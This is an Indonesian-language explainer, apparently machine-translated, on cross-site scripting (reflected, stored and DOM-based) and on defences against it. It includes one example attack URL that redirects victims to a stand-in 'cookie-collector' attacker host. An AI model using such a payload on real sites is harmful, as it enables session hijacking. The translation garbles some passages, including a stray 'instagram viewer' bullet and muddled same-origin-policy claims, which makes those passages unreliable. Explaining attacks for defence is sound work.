Skrip lintas situs atau XSS bisa menjadi serangan yang ampuh dan cepat. Sebagai pengembang, Anda bahkan mungkin menganggapnya bug di kode Anda dan akhirnya mencari bug yang tidak ada.

Sebagai klien yang menggunakan situs web yang rentan, Anda juga dapat dengan polosnya membocorkan informasi penting tentang akses otentikasi Anda ke penyerang.

Jadi, apa itu skrip lintas situs? Bagaimana peretas menggunakannya untuk membobol situs web dan mencuri data Anda? Dan bagaimana Anda dapat mengurangi risiko seperti itu?

Apa Itu Cross-Site Scripting?

Skrip lintas situs atau XSS terjadi jika skrip dari situs web berbahaya berinteraksi dengan kode di situs yang rentan.

Tetapi server terhubung dengan cara yang mencegah orang tanpa otentikasi mengakses dan mengedit kode sumber situs web Anda.

Internet menggunakan Kebijakan Asal Sama (SOP) untuk memblokir interaksi lintas situs. Namun, SOP memeriksa tiga celah keamanan utama dan mencoba menguranginya. Mereka:

  • Kebijakan protokol internet yang memeriksa apakah kedua situs web mengirimkan konten pada SSL aman (HTTPS) atau URL tidak aman (HTTP).
  • instagram viewer
  • Kebijakan host web yang sama, yang memastikan bahwa Anda menghosting kedua situs web di domain yang sama.
  • Kebijakan port yang memeriksa apakah kedua situs web menggunakan titik akhir komunikasi yang serupa.

SOP menyatakan bahwa jika salah satu dari kebijakan ini berbeda untuk dua situs web mana pun, mereka tidak dapat membaca atau bertukar data melalui web.

Tetapi JavaScript adalah bahasa manipulatif yang menentukan daya tanggap situs web. Meskipun JavaScript situs web Anda kemungkinan besar berada dalam file terpisah, Anda juga dapat membuat tag skrip dan menuliskannya ke dalam Model Objek Dokumen (DOM).

Jadi, penyerang XSS mungkin berpikir: "jika Anda dapat menulis JavaScript di DOM, pada akhirnya Anda dapat menjalankannya di editor kode apa pun atau bidang masukan yang menerima tag HTML. "

Kerentanan dan peluang seperti itu adalah apa yang diperhatikan oleh penyerang yang menggunakan XSS di situs web target. Begitu mereka menemukan celah seperti itu, mereka dapat melewati SOP.

Terkait: Lembar Curang JavaScript Utama

XSS, oleh karena itu, adalah serangan yang digunakan pembajak untuk menyuntikkan skrip yang melakukan tindakan jahat ke situs web yang rentan. Skrip dapat menargetkan formulir yang tidak dilindungi atau kolom input yang menerima data.

Cara Kerja dan Jenis Skrip Lintas Situs, Dengan Contoh

XSS dapat menjadi eksekusi cepat dari skrip yang dipantulkan atau sementara yang ditempatkan penyerang dalam bentuk seperti bidang pencarian. Ini juga bisa menjadi cerewet atau terus-menerus disuntikkan ke dalam database. Atau bisa juga muncul secara pasif setelah halaman dimuat.

Dalam beberapa kasus, skrip ini juga dapat mengubah masukan asli korban untuk mengalihkan maksud mereka. Perubahan terus-menerus dalam input pengguna seperti ini adalah XSS yang bermutasi.

Apa pun bentuknya, tujuan serangan XSS adalah mencuri data korban melalui cookie dan log yang terbuka.

Mari kita lihat penjelasan singkat dari masing-masing jenis serangan XSS ini dan contohnya untuk memahami apa itu.

Apa Itu XSS Tercermin?

XSS yang dipantulkan atau sementara adalah injeksi langsung JavaScript ke bidang masukan pengguna. Ini menargetkan permintaan yang mendapatkan data dari database, seperti hasil pencarian. Tapi itu serangan satu-klien-target.

Selama XSS yang direfleksikan, penyerang memasukkan skrip ke dalam istilah pencarian korban target. JavaScript seperti itu mungkin berupa gema, pengalihan, atau pengumpul cookie.

Skrip dimasukkan ke dalam bidang input pencarian kemudian dieksekusi segera setelah klien target mengirimkan kueri mereka.

Misalnya, selama pencarian pengguna, penyerang mungkin memasukkan JavaScript yang menggemakan formulir, meminta korban memasukkan kata sandi atau nama pengguna mereka. Setelah pengguna melakukan ini, mereka mungkin akan mengirimkan kredensial mereka tanpa sepengetahuan penyerang, karena mengira itu adalah permintaan dari situs asli.

Terkadang, penyerang juga dapat menggunakan skrip untuk mengarahkan pengguna dari halaman rentan ke halaman mereka. Di sana, di halaman penyerang, pengguna yang tidak curiga kemudian dapat tertipu untuk mengirimkan beberapa formulir, yang menyebabkan kebocoran kredensial.

Demikian pula, jika tujuannya adalah untuk mencuri sesi pengguna, penyerang memasukkan skrip pengumpul cookie ke dalam istilah penelusuran pengguna. Mereka kemudian membajak sesi pengguna saat ini, mencuri informasi yang relevan, dan mengambil alih aktivitas korban.

Contoh serangan XSS di bawah ini mencuri cookie pengguna melalui permintaan GET:

http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")

Dalam contoh XSS di atas, penyerang menemukan celah di situs web yang rentan. Jadi ketika pengguna mencari sumber daya yang tidak tersedia di situs yang rentan, itu mengarahkan mereka ke halaman penyerang. Penyerang kemudian mengetuk cookie pengguna saat ini dan mengambil sesinya.

Namun, kerentanan ini umum terjadi saat tindakan kueri situs tidak difilter untuk memeriksa injeksi skrip melalui HTML.

Tetapi bahkan jika ada kueri yang difilter, penyerang dapat melewati ini dengan melakukan tindakan putus asa seperti mengirim tautan ke kemungkinan pengguna waktu nyata dari sebuah situs web. Mereka dapat melakukan ini menggunakan apa saja bentuk rekayasa sosial tersedia untuk mereka.

Terkait: Yang Harus Dilakukan Setelah Terjatuh karena Serangan Phishing

Setelah korban mengklik tautan tersebut, pembajak sekarang dapat dengan sukses melakukan serangan XSS dan mencuri data yang relevan dari korban.

Skrip Lintas Situs yang Persisten atau Tersimpan

XSS yang disimpan menimbulkan lebih banyak ancaman. Dalam kasus ini, penyerang menyimpan skrip di database situs web, memicu eksekusi skrip yang disimpan secara terus-menerus. Kode yang disimpan dapat berjalan pada pemuatan halaman atau setelah pemuatan halaman.

Tidak seperti bentuk sementara XSS, XSS yang disimpan menargetkan seluruh basis pengguna situs web yang rentan. Selain itu, ini juga menargetkan integritas situs web yang terpengaruh.

Selama XSS persisten, penyerang menggunakan kolom input seperti formulir komentar untuk memposting skrip ke database situs web.

Tetapi bagaimana jika Anda melindungi bidang POST dengan token CSRF? Sayangnya, skrip lintas situs yang disimpan melewati pemeriksaan CSRF.

Itu karena penyerang mengirimkan formulir seperti setiap pengguna situs web lainnya. Jadi, formulir komentar seperti itu mengirimkan skrip ke database seperti halnya semua komentar lainnya.

Serangan seperti itu dapat terjadi ketika bidang masukan di situs web tidak menggunakan pembersih yang tepat untuk keluar dari skrip dan tag HTML.

Bayangkan seorang pengguna memposting skrip di bawah ini menggunakan formulir komentar web:




Ketika penyerang memasukkan kode seperti itu ke dalam database situs web, ia terus mengarahkan korban ke situs web penyerang saat halaman dimuat. Skrip juga dapat berupa peringatan, kotak modal interaktif, atau iklan berbahaya yang disematkan.

Karena skrip mengalihkan saat halaman dimuat, korban yang tidak terbiasa dengan situs web yang rentan mungkin gagal memperhatikan pengalihan tersebut.

Mereka kemudian melanjutkan berinteraksi dengan situs web penyerang. Namun, pembajak kemudian dapat menggunakan beberapa cara untuk mendapatkan informasi dari korban begitu mereka berada di halaman web mereka.

Apa itu DOM atau XSS Pasif?

XSS berbasis DOM mengeksekusi kode berbahaya yang disematkan ke situs web, memaksa seluruh DOM di sisi klien berperilaku tidak biasa.

Sementara XSS yang disimpan dan tercermin menargetkan permintaan sisi server di situs web, DOM XSS menargetkan aktivitas waktu proses. Ia bekerja dengan memasukkan skrip ke dalam komponen situs web yang melakukan tugas tertentu. Komponen itu tidak menjalankan tindakan sisi server.

Namun, skrip yang dimasukkan ke dalam komponen tersebut mengubah maksudnya sepenuhnya. Jika komponen ini menjalankan tugas terkait DOM, seperti yang mengubah elemen situs web, skrip mungkin memaksa seluruh laman web untuk berubah.

Dalam kasus yang lebih buruk, XSS berbasis DOM dapat meniru bug. Itu karena halaman web menjadi sangat reaktif.

Bagaimana Mencegah Serangan Scripting Lintas Situs

Kerentanan XSS berasal dari penggunaan praktik backend terbaik yang tidak tepat. Jadi mencegah serangan skrip lintas situs biasanya menjadi tanggung jawab pengembang. Tetapi pengguna juga memiliki peran untuk dimainkan.

Menggunakan token CSFR untuk bidang masukan sepertinya bukan solusi untuk serangan XSS. Dan karena serangan ini juga melewati Kebijakan Asal yang Sama, pengembang harus berhati-hati untuk tidak mengabaikan praktik keamanan yang mencegah XSS.

Tindakan pencegahan berikut berguna bagi pengembang.

Sanitasi Bidang Input

Untuk mencegah XSS yang disimpan dan sementara, Anda harus menggunakan pembersih yang efisien untuk bidang masukan. Sanitasi permintaan pencarian, misalnya, mencegah injeksi tag ke istilah pencarian pengguna.

Gunakan Unicode dan HTML Auto Escape

Sangat membantu jika menggunakan HTML dan pelolosan otomatis Unicode untuk mencegah kolom masukan seperti komentar dan formulir konversi menerima skrip dan tag HTML. Pelarian otomatis adalah tindakan pencegahan yang ampuh terhadap XSS yang tersimpan atau persisten.

Mengizinkan pengguna memasukkan tag ke dalam formulir komentar adalah ide yang buruk untuk situs web mana pun. Ini pelanggaran keamanan. Namun, jika Anda harus mengizinkannya, Anda hanya boleh menerima tag yang tidak menimbulkan ancaman XSS.

Gunakan Validasi Input yang Sesuai

Bahkan jika Anda memblokir tag sepenuhnya, penyerang masih dapat melakukan serangan XSS melalui sarana sosial. Mereka dapat mengirim email alih-alih menempatkan apa pun langsung di situs web yang rentan.

Jadi metode lain untuk mencegahnya adalah dengan memvalidasi input secara efisien. Langkah-langkah tersebut termasuk memvalidasi protokol dan memastikan bahwa situs web Anda hanya menerima input dari HTTPS yang aman dan bukan HTTP.

Menggunakan pustaka JavaScript khusus seperti dompurify juga dapat membantu memblokir pelanggaran keamanan terkait XSS.

Anda dapat menggunakan alat seperti XSS Scanner atau GEEKFLARE untuk memeriksa kerentanan XSS di situs web Anda.

Bagaimana Pengguna Dapat Mencegah XSS

Ada jutaan situs web di internet saat ini. Jadi Anda hampir tidak dapat membedakan mana yang memiliki masalah keamanan XSS.

Namun, sebagai pengguna, Anda harus memastikan bahwa Anda terbiasa dengan layanan web apa pun sebelum menggunakannya. Jika laman web tiba-tiba menjadi menyeramkan atau mulai berperilaku tidak biasa, ini bisa menjadi tanda bahaya.

Apa pun masalahnya, berhati-hatilah untuk tidak mengungkapkan data pribadi kepada pihak ketiga yang tidak tepercaya. Kemudian waspadalah terhadap email yang tidak diminta atau posting media sosial yang mencurigakan yang dapat menyebabkan apa pun bentuk serangan phishing.

Tidak Ada Metode Pencegahan Tunggal yang Cocok untuk Semua

Kami telah melihat seperti apa serangan XSS dan bagaimana mencegahnya. Sangat mudah untuk melupakan pemeriksaan keamanan XSS selama pengembangan. Jadi pengembang harus mengambil langkah-langkah untuk memastikan perlindungan tidak dihilangkan. Namun, kombinasi tindakan pencegahan yang kami sebutkan sebelumnya bekerja lebih baik.

Surel
Apa Itu Serangan CSRF dan Bagaimana Cara Mencegahnya?

Untuk menghentikan Anda kehilangan uang tunai dan kredensial dalam serangan CSRF, baik pengembang maupun pengguna memiliki peran untuk dimainkan.

Topik-topik terkait
  • Keamanan
  • JavaScript
  • Keamanan Browser
Tentang Penulis
Idowu Omisola (53 Artikel Dipublikasikan)

Idowu sangat tertarik dengan teknologi pintar dan produktivitas apa pun. Di waktu luangnya, dia bermain-main dengan coding dan beralih ke papan catur ketika dia bosan, tetapi dia juga suka melepaskan diri dari rutinitas sesekali. Semangatnya untuk menunjukkan kepada orang-orang tentang teknologi modern memotivasinya untuk menulis lebih banyak.

Selebihnya Dari Idowu Omisola

Berlangganan newsletter kami

Bergabunglah dengan buletin kami untuk mendapatkan tip teknologi, ulasan, ebook gratis, dan penawaran eksklusif!

Satu langkah lagi…!

Harap konfirmasi alamat email Anda di email yang baru saja kami kirimkan kepada Anda.

.